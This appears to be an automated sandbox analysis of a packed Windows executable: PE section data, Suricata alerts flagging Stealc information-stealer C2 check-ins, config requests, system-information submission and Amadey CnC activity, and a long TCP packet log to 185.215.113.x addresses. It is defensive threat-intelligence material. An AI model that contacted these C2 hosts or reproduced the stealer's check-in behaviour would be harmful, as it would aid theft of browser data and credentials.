IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x249000	0x249000	07334851540b83c694a1517d0e9af95b	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x24a000	0x1f0	0x200	9536d2b3a2eda870e2407104c9596139	False	0.576171875	data	5.048164681214948	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x24b000	0x1000	0x200	0d0399d83a742d5d86c5718841e8e842	False	0.134765625	data	0.8646718654202081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
ybljwnkf	0x24c000	0x2a7000	0x2a7000	f2e2b34c841f68c1d8771e4e156f34e9	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
cjextcal	0x4f3000	0x1000	0x600	e374ada346d9f3662a29146062e9e34b	False	0.5390625	data	4.792421715939634	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4f4000	0x3000	0x2200	481c6b3b458f3a416d0b7e7e8671aac4	False	0.06996783088235294	DOS executable (COM)	0.8966654018772706	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x24a058	0x198	ASCII text, with CRLF line terminators			0.5833333333333334

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-06T22:08:17.698570+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.7	49701	185.215.113.206	80	TCP
2024-12-06T22:08:18.148840+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.7	49701	185.215.113.206	80	TCP
2024-12-06T22:08:18.461744+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.7	49701	TCP
2024-12-06T22:08:18.791422+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.7	49701	185.215.113.206	80	TCP
2024-12-06T22:08:19.105012+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.7	49701	TCP
2024-12-06T22:08:20.537072+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.7	49701	185.215.113.206	80	TCP
2024-12-06T22:08:22.037499+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49701	185.215.113.206	80	TCP
2024-12-06T22:08:49.448916+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49789	185.215.113.206	80	TCP
2024-12-06T22:08:51.384964+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49789	185.215.113.206	80	TCP
2024-12-06T22:08:52.765474+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49789	185.215.113.206	80	TCP
2024-12-06T22:08:54.110901+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49789	185.215.113.206	80	TCP
2024-12-06T22:08:57.667785+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49789	185.215.113.206	80	TCP
2024-12-06T22:08:58.709197+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49789	185.215.113.206	80	TCP
2024-12-06T22:09:04.264000+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49830	185.215.113.16	80	TCP
2024-12-06T22:10:17.166772+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.7	49989	185.215.113.43	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 6, 2024 22:08:06.069875002 CET	49674	443	192.168.2.7	104.98.116.138
Dec 6, 2024 22:08:06.069910049 CET	49675	443	192.168.2.7	104.98.116.138
Dec 6, 2024 22:08:06.116787910 CET	49672	443	192.168.2.7	104.98.116.138
Dec 6, 2024 22:08:06.460469007 CET	49671	443	192.168.2.7	204.79.197.203
Dec 6, 2024 22:08:10.487157106 CET	49677	443	192.168.2.7	20.50.201.200
Dec 6, 2024 22:08:10.866710901 CET	49677	443	192.168.2.7	20.50.201.200
Dec 6, 2024 22:08:11.273118973 CET	49671	443	192.168.2.7	204.79.197.203
Dec 6, 2024 22:08:11.616789103 CET	49677	443	192.168.2.7	20.50.201.200
Dec 6, 2024 22:08:13.123912096 CET	49677	443	192.168.2.7	20.50.201.200
Dec 6, 2024 22:08:15.679219007 CET	49674	443	192.168.2.7	104.98.116.138
Dec 6, 2024 22:08:15.679306030 CET	49675	443	192.168.2.7	104.98.116.138
Dec 6, 2024 22:08:15.681320906 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:15.739005089 CET	49672	443	192.168.2.7	104.98.116.138
Dec 6, 2024 22:08:15.802928925 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:15.803039074 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:15.804039955 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:15.923804998 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:16.101093054 CET	49677	443	192.168.2.7	20.50.201.200
Dec 6, 2024 22:08:17.145143986 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:17.145262003 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:17.240667105 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:17.360444069 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:17.698494911 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:17.698570013 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:17.702759027 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:17.823805094 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:18.148757935 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:18.148791075 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:18.148839951 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:18.148907900 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:18.340392113 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:18.340461016 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:18.341953993 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:18.461744070 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:18.741331100 CET	443	49700	104.98.116.138	192.168.2.7
Dec 6, 2024 22:08:18.741543055 CET	49700	443	192.168.2.7	104.98.116.138
Dec 6, 2024 22:08:18.791340113 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:18.791421890 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:18.791538000 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:18.791599035 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:18.793266058 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:18.793314934 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:18.793502092 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:18.793514967 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:18.793581009 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:18.794378996 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:18.794430017 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:18.801362038 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:18.801425934 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:18.852236986 CET	49702	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:18.852294922 CET	443	49702	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:18.852488995 CET	49702	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:18.852816105 CET	49702	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:18.852829933 CET	443	49702	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:18.983532906 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:18.983685970 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:18.985259056 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:19.105011940 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:19.429490089 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:19.429627895 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:19.449913025 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:19.449990034 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:19.569708109 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:19.569747925 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:19.569849014 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:19.569858074 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:19.569917917 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:19.569933891 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:19.570003986 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:20.536921978 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:20.537071943 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:20.604037046 CET	443	49702	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:20.604161978 CET	49702	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:20.882355928 CET	49671	443	192.168.2.7	204.79.197.203
Dec 6, 2024 22:08:21.235358953 CET	49702	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:21.235409021 CET	443	49702	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:21.235790968 CET	443	49702	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:21.272393942 CET	49702	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:21.319333076 CET	443	49702	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:21.574681997 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:21.628694057 CET	443	49702	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:21.628719091 CET	443	49702	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:21.628762960 CET	443	49702	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:21.628781080 CET	443	49702	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:21.628808022 CET	49702	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:21.628828049 CET	443	49702	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:21.628873110 CET	49702	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:21.628891945 CET	49702	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:21.694681883 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:21.813395023 CET	443	49702	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:21.813419104 CET	443	49702	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:21.813477993 CET	49702	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:21.813500881 CET	443	49702	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:21.813519955 CET	49702	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:21.813539028 CET	49702	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:21.857253075 CET	443	49702	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:21.857269049 CET	443	49702	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:21.857311010 CET	49702	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:21.857346058 CET	443	49702	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:21.857364893 CET	49702	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:21.857383013 CET	49702	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:21.982795000 CET	443	49702	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:21.982814074 CET	443	49702	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:21.982850075 CET	49702	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:21.982873917 CET	443	49702	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:21.982912064 CET	49702	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:21.982929945 CET	49702	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:22.016736031 CET	443	49702	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:22.016766071 CET	443	49702	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:22.016808033 CET	49702	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:22.016823053 CET	443	49702	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:22.016834021 CET	49702	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:22.016865969 CET	49702	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:22.037440062 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.037498951 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.037823915 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.037872076 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.039450884 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.039516926 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.039669037 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.039716005 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.045433998 CET	443	49702	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:22.045463085 CET	443	49702	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:22.045500040 CET	49702	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:22.045527935 CET	443	49702	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:22.045540094 CET	49702	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:22.045567989 CET	49702	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:22.047878027 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.047928095 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.048077106 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.048127890 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.054244041 CET	49677	443	192.168.2.7	20.50.201.200
Dec 6, 2024 22:08:22.056279898 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.056483030 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.056509018 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.056535959 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.064666033 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.064763069 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.064905882 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.064956903 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.065412045 CET	443	49702	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:22.065431118 CET	443	49702	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:22.065510988 CET	49702	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:22.065536976 CET	443	49702	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:22.065587044 CET	49702	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:22.073024988 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.073116064 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.169106007 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.169538021 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.169662952 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.173181057 CET	443	49702	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:22.173207998 CET	443	49702	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:22.173288107 CET	49702	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:22.173316002 CET	443	49702	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:22.173363924 CET	49702	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:22.173466921 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.173525095 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.173866034 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.176042080 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.181756973 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.182287931 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.182396889 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.189901114 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.190099955 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.190175056 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.191298962 CET	443	49702	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:22.191330910 CET	443	49702	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:22.191384077 CET	49702	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:22.191418886 CET	443	49702	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:22.191432953 CET	49702	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:22.192022085 CET	49702	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:22.198903084 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.198915958 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.199012995 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.207010031 CET	443	49702	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:22.207026958 CET	443	49702	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:22.207098961 CET	49702	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:22.207108974 CET	443	49702	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:22.207156897 CET	49702	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:22.220444918 CET	443	49702	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:22.220460892 CET	443	49702	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:22.220549107 CET	49702	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:22.220572948 CET	443	49702	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:22.220626116 CET	49702	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:22.229259014 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.229326010 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.230108023 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.230174065 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.233273983 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.234836102 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.234909058 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.235059023 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.235121012 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.236017942 CET	443	49702	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:22.236042976 CET	443	49702	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:22.236088037 CET	49702	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:22.236098051 CET	443	49702	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:22.236126900 CET	49702	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:22.236149073 CET	49702	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:22.243488073 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.243561983 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.244344950 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.244400978 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.250135899 CET	443	49702	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:22.250155926 CET	443	49702	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:22.250253916 CET	49702	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:22.250263929 CET	443	49702	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:22.250317097 CET	49702	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:22.251660109 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.251714945 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.251888990 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.251939058 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.256447077 CET	443	49702	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:22.256520033 CET	49702	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:22.256526947 CET	443	49702	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:22.256540060 CET	443	49702	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:22.256584883 CET	49702	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:22.256609917 CET	443	49702	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:22.256624937 CET	49702	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:22.256625891 CET	49702	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:22.256639004 CET	443	49702	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:22.256649971 CET	443	49702	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:22.260009050 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.260241032 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.260333061 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.268446922 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.268838882 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.268912077 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.276829958 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.280075073 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.299400091 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.299545050 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.299621105 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.303447962 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.304049015 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.304231882 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.304465055 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.304517984 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.310075998 CET	49703	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:22.310133934 CET	443	49703	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:22.310206890 CET	49703	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:22.312652111 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.312834978 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.312895060 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.315511942 CET	49704	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:22.315545082 CET	443	49704	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:22.315619946 CET	49704	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:22.316185951 CET	49705	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:22.316224098 CET	443	49705	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:22.316277981 CET	49705	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:22.316422939 CET	49703	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:22.316452980 CET	443	49703	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:22.316539049 CET	49706	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:22.316548109 CET	443	49706	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:22.316792011 CET	49704	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:22.316792011 CET	49706	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:22.316803932 CET	443	49704	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:22.316899061 CET	49706	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:22.316915035 CET	443	49706	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:22.316978931 CET	49705	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:22.316997051 CET	443	49705	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:22.317529917 CET	49707	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:22.317548990 CET	443	49707	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:22.317610025 CET	49707	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:22.317704916 CET	49707	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:22.317718983 CET	443	49707	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:22.318147898 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.318212986 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.318305016 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.318350077 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.359569073 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.359754086 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.359926939 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.363360882 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.363435030 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.364736080 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.364940882 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.365005016 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.372364998 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.372456074 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.372613907 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.372706890 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.379995108 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.380072117 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.380249977 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.380301952 CET	49701	80	192.168.2.7	185.215.113.206
